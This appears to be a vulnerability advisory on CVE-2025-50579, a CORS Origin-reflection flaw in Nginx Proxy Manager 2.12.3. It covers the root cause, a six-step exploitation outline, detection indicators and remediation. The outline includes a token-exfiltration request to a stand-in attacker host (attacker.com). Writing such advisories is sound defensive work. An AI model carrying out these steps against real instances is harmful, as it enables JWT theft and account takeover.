CVE-2025-50579: 
Nginx Proxy Manager vulnerability analysis and mitigation

CVE-2025-50579 is a CORS misconfiguration vulnerability in Nginx Proxy Manager (NPM) v2.12.3 that allows unauthorized domains to access sensitive data, particularly JWT authentication tokens, due to improper validation of the Origin header. Discovered and reported by security researcher Juan Felipe Osorio Z, the CVE was assigned by MITRE on August 14, 2025, and publicly disclosed on August 19, 2025. The vulnerability affects only version 2.12.3 of the jc21/nginx_proxy_manager package. It carries a CVSS v3.1 base score of 5.3 (Medium) (Feedly, GitHub Issue).

The root cause is improper validation of the HTTP Origin header in NPM's API layer, classified as CWE-1259 (Improper Restriction of Security Token Assignment). When a cross-origin request is made to sensitive API endpoints such as /api/tokens, the server reflects the attacker-supplied Origin value in the Access-Control-Allow-Origin response header rather than validating it against an allowlist of trusted domains. This means any arbitrary domain can be set as the origin and receive the CORS-permissive response, enabling a browser-based script hosted on a malicious site to make authenticated requests and read the JWT token from the response. Additional vulnerable endpoints identified include /api/audit-log, /api/nginx/proxy-hosts, and /api/users (GitHub Issue).

Successful exploitation allows an attacker to steal JWT authentication tokens from users who interact with a malicious web page, enabling account takeover (ATO) and impersonation of legitimate users within the NPM admin interface. Once a token is captured, the attacker can perform any action the victim user is authorized to perform, including modifying proxy host configurations, accessing audit logs, and enumerating user accounts. The confidentiality of the application's authentication mechanism is compromised, and depending on the victim's privilege level, the attacker could gain full administrative control over the NPM instance (GitHub Issue, Feedly).

1. Reconnaissance: Identify a target running Nginx Proxy Manager v2.12.3, typically accessible on port 81 for the admin UI. Confirm the version via the login page or HTTP response headers.
2. Set up attacker infrastructure: Deploy a malicious web page on an attacker-controlled domain (e.g., evil.attacker.com) and a token-collection endpoint (e.g., a Burp Collaborator URL or a simple HTTP listener).
3. Craft the exploit script: Embed a JavaScript payload in the malicious page that sends a POST request to the victim's NPM /api/tokens endpoint with the attacker's domain set as the Origin header and victim credentials (or lure the victim into triggering the request while authenticated).
4. Trigger the CORS bypass: When a victim visits the malicious page, the browser executes the script. Because NPM reflects the attacker-supplied Origin in Access-Control-Allow-Origin, the browser allows the cross-origin response to be read by the script.
5. Exfiltrate the JWT token: The script extracts the JWT token from the API response and sends it to the attacker's collection server via a secondary fetch() request (e.g., GET https://attacker.com/?token=<JWT>).
6. Account takeover: The attacker uses the captured JWT token in the Authorization: Bearer <token> header to authenticate to the NPM API and perform administrative actions such as modifying proxy configurations or accessing user data (GitHub Issue).

• Network: Outbound HTTP/HTTPS requests from a user's browser to unexpected external domains immediately following interaction with the NPM admin interface; cross-origin requests to /api/tokens with an Origin header set to an untrusted or external domain.
• Logs: NPM API access logs showing POST /api/tokens requests with Origin headers from domains not in the trusted allowlist; repeated token generation requests from the same IP or session in a short timeframe.
• Application Behavior: JWT tokens being used from IP addresses or user agents inconsistent with the legitimate user's session; unexpected administrative actions (proxy host changes, user enumeration) in the NPM audit log (/api/audit-log) not attributable to known administrators (GitHub Issue).

The primary remediation is to upgrade Nginx Proxy Manager to a version beyond 2.12.3 that includes a proper CORS fix; a patch has been made available through the project's GitHub repository (GitHub Issue). As a configuration-based workaround, administrators should implement strict CORS policies that validate the Origin header against an explicit allowlist of trusted domains, rejecting all others. Additional hardening measures include restricting access to the NPM admin interface (port 81) to trusted networks only, enforcing short JWT token expiry, and regularly reviewing CORS configurations across all API endpoints (Feedly).

The vulnerability was noted on Mastodon's infosec community shortly after disclosure, and was indexed by VulDB and Vulners within hours of publication. Red Hat tracked the CVE in their security advisory database. No major vendor statements or significant media coverage beyond standard vulnerability database indexing have been observed (Feedly).